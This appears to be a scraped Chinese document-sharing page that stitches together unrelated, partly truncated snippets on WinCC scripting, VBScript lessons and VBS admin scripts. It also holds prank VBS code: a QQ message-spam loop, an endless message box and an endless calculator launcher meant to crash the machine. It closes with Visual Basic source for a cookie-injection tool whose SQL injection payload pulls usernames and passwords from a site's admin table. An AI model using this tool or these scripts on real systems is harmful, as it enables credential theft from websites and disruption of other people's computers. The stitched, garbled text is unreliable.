3,效果如下: 希望对大家有点用处。 下面内容来自网络,感谢原文作者。 https://www.doczj.com/doc/c2382353.html,/link?url=vEykUwJBHY3kamu6EGqrO8WX1XVc6_IMz Rfnfkcwe5JpmjmPLUHmsod1xIDeQUpd1MJgUMD9IlS8bcIsH6GWpHwjuq76 wAjG6NjSkndSrQK Vbs操作wincc画面脚本总结 一:不使用变量单纯的操作界面 1.操作某个画面中控件的属性如Home1.Pdl(总窗体)下的画面窗口2(画面窗口) Sub OnClick(ByVal Item) Dim objCircle Dim screenname Dim pwname Set objCircle= ScreenItems("圆1" ) objCircle.Radius = 60 Set screenname=HMIRuntime.Screens("Home1") //获取要操作的窗体 Set pwname=screenname.ScreenItems("画面窗口2") //获取要操作的控件,这里填入你要操作的控件名 MsgBox(objCircle.Radius) //输出圆的半径

动态网页制作vb脚本字符串的处理

动态网页制作vb脚本字符串的处理 运城学院实验报告 课程名称:动态网页制作实验项目:用VBScript 实现对字符串的处理实验地点:软三实验室时间:2011-4-21 指导老师:王琦学号:2009100145 实验类型:综合型一、实验目的及要求 1.目的:(1)熟练掌握和应用VBScript 脚本语言的基础知识。(2)VBScript 的基本数据类型、运算符和表达式。(3)熟练掌握VBScript 流程控制语句、函数和子函数。(4)熟练掌握 VBScript 对象和事件的处理方法以及对一些实际问题的解决。(5)学习VBScript 中调试和纠错的方法。 2.要求:(1)用数组实现对身份证信息的存储(2)用VBScript 脚本语言实现程序设计和运行。二、实验内容用VBScript 脚本语言实现身份证查询系统(1)应用VBScript 的Sub 过程函数(无返回值)。例如: sub btnOK_onClick() …… End sub (2)应用字符串函数实现MID 和LEN 实现对字符串的截取和长度的计算。例如:Mid(“运城学院”,1,2)=”运城”;Len(“你好!”)=3;(3)应用数据类型判别函数IsNumeric 判断是否字符串全为数字。例如:else if not IsNumeric(form1.txtId.value) Then document.form1.elements(0).focus() MsgBox"身份证号码中不能有字母!" Exit sub (4)应用trim()函数判断身份证的输入中是否为空。例如: if Trim(form1.txtId.value)=Empty Then document.form1.elements(0).focus() MsgBox"身份证号不能为空!" Exit sub (5)应用数组实现信息的存储。例如:运城学院实验报告(续) dim sfzBM(3) dim sfzGSD(3) sfzBM(0)="142732" sfzGSD(0)="山西省运城地区平陆县" ...... (5)document 对象的应用。例如:IdCard=document.getelementbyid("txtId").value (6)for 循环的使用 for i=0 to ubound(sfzBM) if sfzBM(i)=mid(IdCard,1,6) then msg="归属地:" & sfzGSD(i) & " " (7)应用DreamWeaver 制作表单及系统的制作。(8)应用VBScript 的纠错处理处理网页中的错误。三、实验代码 身份证查询程序 请输入 18 位身份证号:: 四、实验总结 1、对 VBScript 有了更进一步的掌握,把学过的知识重新复习了一遍,并且利用到了实际的应用中。 2、对VBScript 中的函数的编写不够熟练。 3、对系统中的的一些关于数值进行限制的代码的编写不够熟练。 4、应该更好的利用网络资源和增强与同学相互交流的能力。运城学院实验报告(续) 1、正确的结果 2、身份证号码不合法 3、身份证号不能为空 4、身份证号码错误,请重新输入! 5、身份证中不能有字母

WINCC动画脚本动态实例

WINCC动画脚本 电机风扇旋转(几何---起始角度): #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static DWORD f=20; if (GetTagBit("DI电机运行信号")) { f= f+30; if (f==360) (f=0); } return f; } 电机风扇旋转(几何---结束角度): #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static DWORD i=80; if (GetTagBit("DI电机运行信号")) { i = i+30; if (i==360) (i=0); } return i; } **物料水平右移动(几何---位置X)(停车后,物料回到原点)** #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static int a=350; if (GetTagBit("DI电机运行信号") && (a<=730)) { a+=20; if (a>=720) (a=350); } if (!GetTagBit("DI电机运行信号")) (a=350); return a; } 物料水平右移动(几何---位置X)(停车后,物料停在该点) #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static int a=350; if (GetTagBit("DI电机运行信号") && (a<=730)) { a+=20; if (a>=720) (a=350); } return a;

什么是_vb脚本

什么是_vb脚本 飞越网络VBScript教程 我想我要的很简单,一个是可以自动增加的 表格,另一个是初始页面的密码校验,后来 的 1、什么是 VBScript, .............................................................. (3) 1.1、易学易 用 ..................................................................... . (3) 1.2、ActiveX Script ................................................................. .. (4) 1.3、其他应用程序和浏览器中的 VBScript .............................................................. 4 2、在 HTML 页面中添加 VBScript 代 码 ..................................................................... (4) 3、VBScript 数据类 型 ..................................................................... .. (6)

3.1、什么是 VBScript 数据类 型, .................................................................... . (6) 3.2、Variant 子类 型 ..................................................................... ...................................... 7 4、VBScript 变 量 ..................................................................... .. (8) 4.1、什么是变 量, .................................................................... .. (8) 4.2、声明变 量 ..................................................................... . (9) 4.3、命名规 则 ..................................................................... . (9) 4.4、变量的作用域与存活 期 ..................................................................... . (9) 4.5、给变量赋值...................................................................... (10)

WinCC上可以很方便的编写VB脚本和C脚本

1,VB,最好安装VB6,先在VB6里面编写程序,然后再放到WinCC的脚本中,事半功倍,毕竟VB的调试非常方便。 a,插入引用 注意选择OLE Automation 和WinCC *****; b,可以直接在VB里面调用WinCC的全部变量,内部,外部全可以: 如下: c,在VB里面监视WinCC的变量: d,调试完毕,程序拷贝到WinCC 的脚本中。 2,C语言 系统提供了一个应用程序窗口,如下,只要把他拖到画面窗口即可: 2,使用Printf函数,把需要调试的内容打印出来; 3,效果如下: 希望对大家有点用处。 下面内容来自网络,感谢原文作者。 操作wincc画面脚本总结 一:不使用变量单纯的操作界面 1.操作某个画面中控件的属性如(总窗体)下的画面窗口2(画面窗口)

Sub OnClick(ByVal Item) Dim objCircle Dim screenname Dim pwname Set objCircle= ScreenItems("圆1" ) = 60 Set screenname=("Home1") creenItems("画面窗口2") Set value= 2.更改画面窗口的对象 Sub OnClick(Byval Item) Dim opObject Set opObject= ("Home1").ScreenItems("画面窗口2") ="" End Sub 3.设置文本 Set titleTxt= ("Home1").ScreenItems("静态文本2") =+"EF" //获取文本的值并追加字符 字符串函数 VB的字符串截取函数有Left(字符串,n),返回字符串前N个字符;Mid(字符串,p,n),从第p个字符开始,向后截取N个字符;right(字符串,n),返回字符串的最后n个字符。 用WinCC读取VB的数据的方法一(DDE) 中的步骤: 1、新建一个“标准EXE”工程 2、设置窗体Form1的LinkMode属性为1 - Source, 一定要设定为1 3、在Form1上添加一个文本框控件Text1,将其Text属性设为text1 4、保存工程:工程名为 5、生成 WinCC的步骤: 1、新建一单用户项目 2、在变量管理器中添加Windows DDE驱动 3、在DDE下新建连接NewConnection,在其属性对话框中:

VBS脚本实例

VBS脚本实例 说明: 本文中所列出的脚本实例,均为本人因日常工作需要所写,已在生产环境中验证并使用(参数请自行修改),希望可以帮到有需要的人。但本人并非非常熟悉VBS脚本,属于现学现卖的,欢迎批评指正或是与VBS/PowerShell脚本相关的技术交流。谢谢! 1AD相关 1.1迁移用户/计算机到指定OU ************************************************************************************** on error resume next Set fso = CreateObject("Scripting.FileSystemObject") Set basefile =fso.OpenTextFile("C:\base.txt",1) Set WSshell=CreateObject("Wscript.shell") Do Until basefile.AtEndOfLine = -1 '读取txt文件,直到最后一行结束 base = basefile.ReadLine comm = "cmd /c echo " & base & " >>C:\resualt.txt" WSshell.run comm,0,true If fso.fileexists("C:\" & base & ".txt") Then '判断是否有指定OU的txt文件 Set file=fso.OpenTextFile("C:\" & base & ".txt",1) '打开文件 Count = 0 ErrorCount = 0 disabledCount = 0

常用vbs脚本

1 VBS VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,现在大家对它也开始重视起来。VBS代码在本地是通过Windows Script Host(WSH)解释执行的。VBS脚本的执行离不开WSH,WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH,用户能够操纵WSH 对象、ActiveX对象、注册表和文件系统。在Windows 2000下,还可用WSH来访问Windows NT活动目录服务。 用VBS编写的脚本程序在窗口界面是由文件解释执行的,在字符界面由文件解释执行。是一个脚本语言解释器,正是它使得脚本可以被执行,就象执行批处理一样。关于VBS大家一定比我熟悉多了,所以再不废话,直接进入主题,看看我总结的VBS在系统安全中的八则妙用吧。 一、给注册表编辑器解锁 用记事本编辑如下内容: DIM WSH SET WSH=("") ’击活对象 ("解锁注册表编辑器!") ’显示弹出信息“解锁注册表编辑器!” "HKCU/Software/Microsoft/Windows/CurrentVersion /Policies/System/DisableRegistryTools",0,"REG_DWORD" ’给注册表编辑器解锁 ("注册表解锁成功!") ’显示弹出信息“注册表解锁成功!” 保存为以.vbs为扩展名的文件,使用时双击即可。 二、关闭Win NT/2000的默认共享 用记事本编辑如下内容: Dim WSHShell’定义变量 set WSHShell=CreateObject("") ’创建一个能与操作系统沟通的对象WSHShell Dim fso,dc Set fso=CreateObject("")’创建文件系统对象 set dc= ’获取所有驱动器盘符 For Each d in dc Dim str ("net share"& &"$ /delete")’关闭所有驱动器的隐藏共享 next ("net share admin$ /delete") ("net share ipc$ /delete")’关闭admin$和ipc$管道共享 现在来测试一下,先打开,输入net share命令就可以看到自己机子上的共享。双击执行后,会看见窗口一闪而过。然后再在cmd里输入net share命令,这时候没有发现共享列表了三、显示本机IP地址 有许多时候,我们需要知道本机的IP地址,使用各种软件虽然可以办到,但用VBS脚本也非常的方便。用记事本编辑如下内容: Dim WS Set WS=CreateObject("")

VB整人程序代码大全

vbs整人代码大** 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------- QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell

VB编写的Cookie注入工具实例

VB编写Cookie 注入工具实例 作者穿山甲2008年1月 很早以前用VB写的cookie注入工具实例,放在柜里实在可惜,发来供VB友人共享,源程序也午网上还有,找不到的联系QQ:182442687索取 一、界面: 控件:3个label、8个text、4个Command 原理:主要利用webbrowser提交javascript语句(WebBrowser1.Navigate Text8.Text),更改当前cookie,然后刷新页面cookie值(WebBrowser1.Refresh) 利用语句:javascript:alert(document.cookie="id="+escape("52 and 1=l union select 1,username,password,4,5,6,7,8,9,10 from admin")) ---------------------------------------------------------------------------------------------------------------------- 二、代码: Private Sub Command2_Click() WebBrowser1.Navigate text1.Text '打开网站 End Sub Private Sub Command1_Click() Text2.Text = WebBrowser1.Document.cookie '获得当前面cookie值,并将值赋给text2.text

End Sub Private Sub Command3_Click() '主要利用语句:javascript:alert(document.cookie="id="+escape("52 and 1=l union select 1,username,password,4,5,6,7,8,9,10 from admin")) Text8.Text = Text4.Text + Text5.Text + Text6.Text + Text3.Text + Text7.Text WebBrowser1.Navigate Text8.Text '提交cookie脚本,给ID赋值 End Sub Private Sub Command4_Click() On Error Resume Next WebBrowser1.Refresh '刷新页面,进行cookie注入 End Sub '下面是自适应窗体大小调整: '调整后的宽度text1.width = text1.width原值/ form1.scalewidth原值* 调整后的窗体宽度(Form1.ScaleWidth) '调整后的高度text1.height = text1.height原值/ form1.scaleheight原值* 调整后的窗体高度(Form1.Scaleheight) '调整后的左距text1.left = text1.left原值/ form1.scalewidth原值* 调整后的窗体宽度(Form1.ScaleWidth) '调整后的上距text1.top = text1.top原值/ form1.scaleheight原值* 调整后的窗体高度(Form1.Scaleheight) Private Sub Form_Resize() text1.Width = 7695 / 10665 * Form1.ScaleWidth text1.Height = 375 / 7995 * Form1.ScaleHeight text1.Left = 1320 / 10665 * Form1.ScaleWidth text1.Top = 180 / 7995 * Form1.ScaleHeight Text2.Width = 7695 / 10665 * Form1.ScaleWidth Text2.Height = 375 / 7995 * Form1.ScaleHeight Text2.Left = 1320 / 10665 * Form1.ScaleWidth Text2.Top = 780 / 7995 * Form1.ScaleHeight Text3.Width = 5895 / 10665 * Form1.ScaleWidth Text3.Height = 375 / 7995 * Form1.ScaleHeight Text3.Left = 3120 / 10665 * Form1.ScaleWidth Text3.Top = 1320 / 7995 * Form1.ScaleHeight Text5.Width = 795 / 10665 * Form1.ScaleWidth Text5.Height = 375 / 7995 * Form1.ScaleHeight Text5.Left = 1320 / 10665 * Form1.ScaleWidth

相关主题
文本预览
相关文档 最新文档